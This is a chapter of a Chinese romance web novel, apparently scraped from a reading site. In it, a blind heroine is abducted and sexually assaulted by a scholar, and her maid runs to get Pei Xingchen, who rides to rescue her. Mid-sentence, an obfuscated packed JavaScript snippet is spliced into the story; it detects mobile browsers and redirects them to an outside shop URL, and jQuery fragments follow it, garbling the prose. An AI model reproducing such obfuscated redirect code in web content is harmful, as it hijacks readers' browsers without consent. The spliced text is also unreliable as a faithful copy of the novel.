70. 被辱

作品:《裴御医太难撩

    “师傅这是怎么了?”阿秋完全不解,“师傅都说了回京是一番腥风血雨,若是没我们护着,岂不是很快就陷入困境?”


    阿夏瞪了他一眼说:“你现在是生龙活虎,有了生的希望了,可师傅没有。”


    “师傅若不是心里有心愿未了,恨不得现在就随世子去了,你又不是不知道,那次若不是二皇子殿下劝着的,世子妃下葬那日,师傅就跟去了。”


    阿秋眼睛蓦地一暗。


    林清玥下葬那日,裴星沉立在林清玥墓碑前,淋了一夜的暴雨,后连着高热七日,朱砚急得团团转。


    他对着裴星沉的耳畔怒骂:“你为了一个女人把自己折腾成这样,简直让我看不起你!”


    “陆恒,你想想你陆家死去的人,想想你的爹、你的娘,你的妹妹,想想他们葬身火海时的痛苦,你若是不报仇,他们该如何含笑九泉?”


    后来,裴星沉醒了。


    他看似醒了,但又没完全醒。


    他将一半的自己亲手杀死,追随林清玥去了。


    剩下的一半,只是为了报仇雪恨的木偶人。


    “阿秋,世子妃还活着的事情,我好想告诉师傅。”这是阿夏的真心话,他实在不忍心看师傅如此行尸走肉般活着。


    “不行,我答应了画屏,这件事决不能透露。”阿秋眼底闪过一丝挣扎,“或许再多等几日,等二皇子完成大业,我们再告诉师傅吧。”


    阿夏冷冷看了他一眼,骂了句“冷血”,大步离开。


    他冷血吗?阿秋陷入了深深的自责,心里的天平微微摇晃。


    *


    “画屏,配比好了吗?”林清玥见画屏忽然没了声,催了几声。


    画屏立刻回神,方才她想起了和阿秋的拥抱,不小心走了神,“小姐,您继续说,画屏听着呢。”


    “画屏,你今日出去采买东西,还要照顾我,应该累了吧?”林清玥下意识地望了一眼窗外,却想起自己看不清外面的天,更是不知道什么时辰了,她胸口一缩,问:“如今是何时辰了?”


    “天刚擦黑,”画屏立刻起身说:“我去给小姐做晚膳。”


    林清玥微微颔首,自打画屏回来后就露出几分异样。林清玥虽然看不清,但她不傻,兴许是画屏见到了阿秋了。


    见到了也好,这样便无遗憾了。


    只是,阿秋会不会把她还活着的事告诉裴星沉?依照阿秋忠心耿耿的性子,兴许会的。


    裴星沉知晓后会怎样?


    依照她对他的了解,肯定会生气,非常生气。


    他最讨厌别人骗他。


    林清玥忽地感到紧张,一颗心怦怦加快。


    不行,不能让他发现。


    即便阿秋不说,但只要流露出一丝破绽,裴星沉肯定会发现的。


    他那么聪明。


    思及此,林清玥朝外喊“画屏,画屏!”画屏正在做饭,听不到声音,林清玥只好跌跌撞撞,摸到了院子门口。


    李连正巧经过了院子门口,透过竹篱院门,不仅看见林清玥没有毁容,还看到她已失明。


    他舔了舔干涩的唇,眼底划过一丝阴狠和贪婪。


    李连是个秀才,去风雅集铺子转过很多次,对于这个凌娘子觊觎许久。


    一个无依无靠的女子,编纂出什么未婚夫的假话,还故意毁了容貌,不过是为了自保。这样的女子,大可放心玩弄。


    想到家里那个狠婆娘,再想到这样的国色天香温香软玉在怀,他心头一荡,不再犹豫,翻过了竹篱,大步上前。


    “画屏,画屏,我们快些收拾包裹......”林清玥正说着,隐约听到了外面的动静,她微微蹙眉,看向声音的那处,“是谁?”


    李连站在她不远处,见她真的失明了,龇牙笑了。他翻越栅栏,走到林清玥面前,一把将人抗在肩头,快步走了出去。


    “你是谁?”林清玥开始挣扎起来,大喊道:“画屏,画屏!”


    画屏听到外面的动静,走出厨房,再一看,林清玥已经被人抗走了,她大惊失色喊道:“放开我家小姐!”


    李连将人塞到了马车里,吩咐车夫快点走。


    “小姐?”李连眼睛一亮,上上下下重新打量林清玥,这样的女子确实应该是官家小姐。特意伪装成什么姐妹,不过是为了避人耳目。


    “凌娘子到底是哪家哪户的小姐,何苦逃出家门,做手工为生?”


    林清玥不知面前的人是谁,但能通过他的语调分析出,估计是之前来她铺子前买过东西的人,她紧紧缩在角落冷声问:“你是谁,到底想怎样?”


    李秀苦考许久还是没有成果,心道不如做个官家小姐的上门女婿,他家里的婆娘不过是个农女,大字不识的,哪里有这样的风雅娘子来得有趣?


    李连今日和好友出来聚会喝了一些酒,此时酒意上头,一把捉住女人的手,细细摩挲,“这样如玉的巧手,该好好养着。”


    林清玥心里一阵恶寒,马车晃动,帘子飞舞,她隐约闻到了野花和青草香。


    “你把我往哪里带,郊外吗?”


    “对啊,等会儿我会让你好好体会一番,在天地沐浴之下的爽快。”


    林清玥心头大惊,朝外大喊“救命”,即便只有一线可能,她都不能放弃。


    “别喊了,留点精神等会喊。”李连哈哈大笑起来,吩咐马夫在前面的山脚下停下。


    “放开我!”李连将人抱下车,一路拽着林清玥往一片绿草地上走。


    “我之前跟我婆娘说,在这里来一遭,但她死活不同意。”


    李连将人扔在绿草地上,扫了一圈四周,绿树掩映,凋残的红杜鹃在风中摇曳,拂来淡淡花香。


    他不禁起了一丝风雅兴致,站起身来,吟诵道:“杜鹃花下,做鬼风流,欢.好不休。”


    林清玥见状,俯身从他胳膊跑出去,顺着山坡,狠命地往前跑。即便前方什么都看不见,她还是拼了命地往前跑。


    只是到底娇弱,还没跑几步,就被李连追上,继续拖着往草丛里走。他抽掉自己身上的腰带,将她的手捆起来,腿压着她,手轻抚她柔滑的脸颊,笑得肆意。


    “别跑了,凌娘子,今日咱们在天地的见证之下,成夫妻之礼,可好?”


    说罢,他凑到林清玥的脖颈间,一通乱啃。


    一行清泪迤逦滑下。


    林清玥望着黑漆漆的天空,连一丝微光都无,内心一片死寂。


    她豁出一切才得来这自由,只是这自由太多短暂,还没开心几日,就遭遇这样的变故。


    既如此,不如死了罢。


    死了还尚且干净些。


    她轻轻闭上眼睛,脑海里猛然浮现出一个人的脸。


    或冷漠,或温柔,或痴迷,或怨恨。


    阿恒,这次是真的永别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143119|191100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    盼君珍重,长安。


    *


    “小姐,小姐!”画屏惊得浑身颤抖,瘫倒在地,眼泪横流。


    不行,我得救小姐!


    画屏从地上爬起来,迅速跑到街道里,她必须找到阿秋,找到裴御医!


    阿秋之前跟她说过,他们暂且住在知府家。刚巧碰到了之前认识的一位秀才,秀才坐的马车,见她苦苦哀求,便好心搭了一乘。


    终于到了知府门口,她求人去传话,“我家小姐姓林,麻烦你去告知裴御医,裴御医认识我家小姐的,她现在遇到了难处......”


    侍从见惯了这样的人,挥手就说:“去去去,裴御医也是你这奴婢随便见着的,赶紧走!”


    画屏急得哭出来,朝着门外大喊:“裴御医,裴御医!”


    朱砚今日伪装头痛,裴星沉刚诊病完,打算和阿秋去一趟大牢,去审问临安县城的贪墨官员,走出门外,隐约听到门外有人大喊。


    这声音,何等熟悉。


    裴星沉眼皮一跳,再一看阿秋,阿秋满脸慌张,连手都在紧紧攥着袖子。


    裴星沉眉心一拧,快步冲出了门外,看着立在门口的画屏,他沉声道:“怎么了,画屏?”


    画屏抓着裴星沉的袖子,哭喊道:“小姐,小姐被人抓走了!”


    “小姐......”裴星沉忽然发觉嗓子被一团湿透的棉花塞住了,整个人都紧绷起来,他狠狠地捏住她的手臂,沙哑着声音问:“小姐......没死?”


    “对!”事到如今,什么都瞒不住了,画屏哽咽着催促:“快,裴御医方才有人翻到我们院子里,把小姐抓走了。”


    “小姐,她失明了,什么都看不见......”


    话音刚落,却见裴星沉进了府院,骑着一匹黑马,踏过门槛,他居高临下问画屏:“具体往哪个位置走了?”


    画屏指着方向,详尽描述了马车和那个秀才的模样,话音刚落,裴星沉便扬鞭,往前飞奔。


    马蹄声碎,鞭子腾空飞舞。


    她,还活着?


    她,还活着......


    一想到此,裴星沉的鞭子就甩得更急了。


    没有人可以伤害得了她,没有人!


    这匹快马是圣上赐给圣上的御马,在本次赈灾中起了很大的作用。他亲自骑着这快马,抓捕了一系列逃跑的贪墨官员。


    而如今,他踏马而来,只为救她。


    顺着马车轨迹,到了一处山脚下,裴星沉目光急切地逡巡四野,指尖不自觉攥紧缰绳,连呼吸都放得极轻。


    竖起耳,风里裹挟着几缕细碎的女子声音。


    是她?!


    裴星沉扬鞭骑马踏过那片绿色山坡,忽然,一簇凋残的花枝间,猛地扬起一抹白。


    是女子的手臂。


    皓白如玉的手臂上,沾染着一条红色血迹,血迹蜿蜒如血溪,顺流而下。


    刹那间,裴星沉的眼睛像是被针扎般刺痛。


    他速速翻身下马,撩袍大步流星往前冲了过去,粗暴地拨开挡路的残花枯枝。


    草地上,正半趴着一个女子。


    是林清玥?!


    只见她身上的罗裙已被撕碎,只留了一件胭脂小衣,青丝凌乱拨在一侧,光洁的后背微微躬起。


    一滴鲜血溅到她的侧脸上,如花的胎记,在日光下轻轻颤动。